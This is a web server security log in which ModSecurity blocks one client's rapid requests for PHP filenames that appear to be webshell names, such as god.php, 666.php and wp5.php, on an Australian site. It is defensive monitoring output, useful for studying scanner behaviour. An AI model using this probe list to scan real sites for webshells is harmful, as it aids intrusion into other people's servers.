[Fri Feb 27 02:50:38.106828 2026] [:error] [pid 19020:tid 19032] [client 20.48.148.227:1997] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aaCV_rN3kp7wL6QzPnVOwAAAAUo"]
[Fri Feb 27 02:50:38.524310 2026] [:error] [pid 19020:tid 19033] [client 20.48.148.227:2016] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaCV_rN3kp7wL6QzPnVOwQAAAUs"]
[Fri Feb 27 02:50:38.976649 2026] [:error] [pid 19020:tid 19031] [client 20.48.148.227:1863] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaCV_rN3kp7wL6QzPnVOwgAAAUk"]
[Fri Feb 27 02:50:39.397199 2026] [:error] [pid 19020:tid 19042] [client 20.48.148.227:1947] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaCV_7N3kp7wL6QzPnVOwwAAAVQ"]
[Fri Feb 27 02:50:39.815506 2026] [:error] [pid 18843:tid 18941] [client 20.48.148.227:1910] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaCV_yuD2bhSYSowPs0b9wAAAQE"]
[Fri Feb 27 02:50:40.357710 2026] [:error] [pid 18843:tid 18964] [client 20.48.148.227:1858] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aaCWACuD2bhSYSowPs0b-AAAARg"]
[Fri Feb 27 02:50:40.776709 2026] [:error] [pid 20059:tid 20111] [client 20.48.148.227:2032] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aaCWAJZBS5wIa_NsqshK1QAAAck"]
[Fri Feb 27 02:50:41.193658 2026] [:error] [pid 20059:tid 20115] [client 20.48.148.227:1933] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aaCWAZZBS5wIa_NsqshK2AAAAc0"]
[Fri Feb 27 02:50:41.610433 2026] [:error] [pid 19020:tid 19035] [client 20.48.148.227:1965] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aaCWAbN3kp7wL6QzPnVOxwAAAU0"]
[Fri Feb 27 02:50:42.034831 2026] [:error] [pid 20059:tid 20104] [client 20.48.148.227:1974] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaCWApZBS5wIa_NsqshK3AAAAcI"]
[Fri Feb 27 02:50:42.445044 2026] [:error] [pid 20059:tid 20105] [client 20.48.148.227:1895] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaCWApZBS5wIa_NsqshK3QAAAcM"]
[Fri Feb 27 02:50:42.864074 2026] [:error] [pid 19020:tid 19030] [client 20.48.148.227:1979] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaCWArN3kp7wL6QzPnVOywAAAUg"]
[Fri Feb 27 02:50:43.311255 2026] [:error] [pid 20059:tid 20106] [client 20.48.148.227:2002] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aaCWA5ZBS5wIa_NsqshK4QAAAcQ"]
[Fri Feb 27 02:50:43.732066 2026] [:error] [pid 20059:tid 20126] [client 20.48.148.227:1955] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaCWA5ZBS5wIa_NsqshK4wAAAdg"]
[Fri Feb 27 02:50:44.157243 2026] [:error] [pid 20059:tid 20109] [client 20.48.148.227:2000] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaCWBJZBS5wIa_NsqshK5gAAAcc"]
[Fri Feb 27 02:50:44.610781 2026] [:error] [pid 18818:tid 18893] [client 20.48.148.227:1876] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaCWBBhPgqk2SeS_W83VMwAAAAk"]
[Fri Feb 27 02:50:45.034979 2026] [:error] [pid 19020:tid 19040] [client 20.48.148.227:1968] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaCWBbN3kp7wL6QzPnVOzAAAAVI"]
[Fri Feb 27 02:50:45.546800 2026] [:error] [pid 18831:tid 18935] [client 20.48.148.227:1881] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaCWBf5KHTHUIuWRG2bgDQAAAFY"]
[Fri Feb 27 02:50:45.967534 2026] [:error] [pid 20059:tid 20108] [client 20.48.148.227:1989] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaCWBZZBS5wIa_NsqshK6wAAAcY"]
[Fri Feb 27 02:50:46.468991 2026] [:error] [pid 20059:tid 20104] [client 20.48.148.227:1996] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaCWBpZBS5wIa_NsqshK-wAAAcI"]
[Fri Feb 27 02:50:46.903713 2026] [:error] [pid 18843:tid 18950] [client 20.48.148.227:1875] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaCWBiuD2bhSYSowPs0b_AAAAQo"]
[Fri Feb 27 02:50:47.355338 2026] [:error] [pid 18831:tid 18920] [client 20.48.148.227:1942] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaCWB_5KHTHUIuWRG2bgDgAAAEc"]
[Fri Feb 27 02:50:47.806112 2026] [:error] [pid 20059:tid 20105] [client 20.48.148.227:1794] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaCWB5ZBS5wIa_NsqshK_wAAAcM"]
[Fri Feb 27 02:50:48.246072 2026] [:error] [pid 18831:tid 18925] [client 20.48.148.227:1956] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaCWCP5KHTHUIuWRG2bgDwAAAEw"]
[Fri Feb 27 02:50:48.713185 2026] [:error] [pid 19020:tid 19038] [client 20.48.148.227:1957] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaCWCLN3kp7wL6QzPnVOzQAAAVA"]
[Fri Feb 27 02:50:49.152655 2026] [:error] [pid 19020:tid 19035] [client 20.48.148.227:1928] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaCWCbN3kp7wL6QzPnVOzwAAAU0"]
[Fri Feb 27 02:50:49.608464 2026] [:error] [pid 19020:tid 19041] [client 20.48.148.227:1857] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaCWCbN3kp7wL6QzPnVO0QAAAVM"]
[Fri Feb 27 02:50:50.020438 2026] [:error] [pid 20059:tid 20121] [client 20.48.148.227:1862] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaCWCpZBS5wIa_NsqshLBQAAAdM"]
[Fri Feb 27 02:50:50.443286 2026] [:error] [pid 19020:tid 19031] [client 20.48.148.227:1795] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaCWCrN3kp7wL6QzPnVO1wAAAUk"]
[Fri Feb 27 02:50:50.883077 2026] [:error] [pid 19020:tid 19042] [client 20.48.148.227:1950] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaCWCrN3kp7wL6QzPnVO2wAAAVQ"]
[Fri Feb 27 02:50:51.300438 2026] [:error] [pid 20059:tid 20102] [client 20.48.148.227:1941] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaCWC5ZBS5wIa_NsqshLBwAAAcA"]
[Fri Feb 27 02:50:51.876174 2026] [:error] [pid 19020:tid 19041] [client 20.48.148.227:1972] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaCWC7N3kp7wL6QzPnVO4AAAAVM"]
[Fri Feb 27 02:50:52.290126 2026] [:error] [pid 20059:tid 20107] [client 20.48.148.227:1860] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aaCWDJZBS5wIa_NsqshLCwAAAcU"]
[Fri Feb 27 02:50:52.721227 2026] [:error] [pid 19020:tid 19046] [client 20.48.148.227:1951] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaCWDLN3kp7wL6QzPnVO4wAAAVg"]
[Fri Feb 27 02:50:53.154406 2026] [:error] [pid 18843:tid 18952] [client 20.48.148.227:1920] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaCWDSuD2bhSYSowPs0cBAAAAQw"]
[Fri Feb 27 02:50:53.568316 2026] [:error] [pid 18843:tid 18951] [client 20.48.148.227:1981] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaCWDSuD2bhSYSowPs0cBQAAAQs"]
[Fri Feb 27 02:50:53.984416 2026] [:error] [pid 20059:tid 20111] [client 20.48.148.227:1902] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaCWDZZBS5wIa_NsqshLEAAAAck"]
[Fri Feb 27 02:50:54.417048 2026] [:error] [pid 20059:tid 20121] [client 20.48.148.227:2041] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aaCWDpZBS5wIa_NsqshLFAAAAdM"]
[Fri Feb 27 02:50:54.839116 2026] [:error] [pid 20059:tid 20124] [client 20.48.148.227:1904] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aaCWDpZBS5wIa_NsqshLFwAAAdY"]
[Fri Feb 27 02:50:55.272507 2026] [:error] [pid 18831:tid 18915] [client 20.48.148.227:1816] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aaCWD_5KHTHUIuWRG2bgFAAAAEI"]
[Fri Feb 27 02:50:55.728191 2026] [:error] [pid 19020:tid 19044] [client 20.48.148.227:2031] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aaCWD7N3kp7wL6QzPnVO6QAAAVY"]
[Fri Feb 27 02:50:56.145180 2026] [:error] [pid 18843:tid 18959] [client 20.48.148.227:1961] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aaCWECuD2bhSYSowPs0cBgAAARM"]
[Fri Feb 27 02:50:56.611905 2026] [:error] [pid 18843:tid 18945] [client 20.48.148.227:2005] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aaCWECuD2bhSYSowPs0cCAAAAQU"]
[Fri Feb 27 02:50:57.041644 2026] [:error] [pid 18831:tid 18932] [client 20.48.148.227:1896] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aaCWEf5KHTHUIuWRG2bgFgAAAFM"]
[Fri Feb 27 02:50:57.485105 2026] [:error] [pid 18843:tid 18963] [client 20.48.148.227:1797] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aaCWESuD2bhSYSowPs0cCwAAARc"]
[Fri Feb 27 02:50:57.925661 2026] [:error] [pid 20059:tid 20120] [client 20.48.148.227:1943] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaCWEZZBS5wIa_NsqshLJQAAAdI"]
[Fri Feb 27 02:50:58.427917 2026] [:error] [pid 18831:tid 18916] [client 20.48.148.227:1879] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaCWEv5KHTHUIuWRG2bgGAAAAEM"]
[Fri Feb 27 02:50:58.879548 2026] [:error] [pid 20059:tid 20110] [client 20.48.148.227:1798] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaCWEpZBS5wIa_NsqshLKQAAAcg"]
[Fri Feb 27 02:51:45.905006 2026] [:error] [pid 18843:tid 18949] [client 20.48.148.227:1970] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaCWQSuD2bhSYSowPs0caQAAAQk"]
[Fri Feb 27 02:51:46.374126 2026] [:error] [pid 18831:tid 18916] [client 20.48.148.227:1801] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaCWQv5KHTHUIuWRG2bgsQAAAEM"]
[Fri Feb 27 02:51:46.822382 2026] [:error] [pid 19020:tid 19041] [client 20.48.148.227:1878] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaCWQrN3kp7wL6QzPnVPewAAAVM"]
[Fri Feb 27 02:51:47.492995 2026] [:error] [pid 20059:tid 20107] [client 20.48.148.227:1740] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaCWQ5ZBS5wIa_NsqshMFgAAAcU"]
[Fri Feb 27 02:51:48.090284 2026] [:error] [pid 20059:tid 20126] [client 20.48.148.227:2024] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaCWRJZBS5wIa_NsqshMHAAAAdg"]
[Fri Feb 27 02:51:48.711950 2026] [:error] [pid 18831:tid 18922] [client 20.48.148.227:1946] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaCWRP5KHTHUIuWRG2bgswAAAEk"]
[Fri Feb 27 02:51:49.228326 2026] [:error] [pid 20059:tid 20120] [client 20.48.148.227:1995] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaCWRZZBS5wIa_NsqshMJAAAAdI"]
[Fri Feb 27 02:51:49.668030 2026] [:error] [pid 20059:tid 20103] [client 20.48.148.227:1872] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaCWRZZBS5wIa_NsqshMKQAAAcE"]
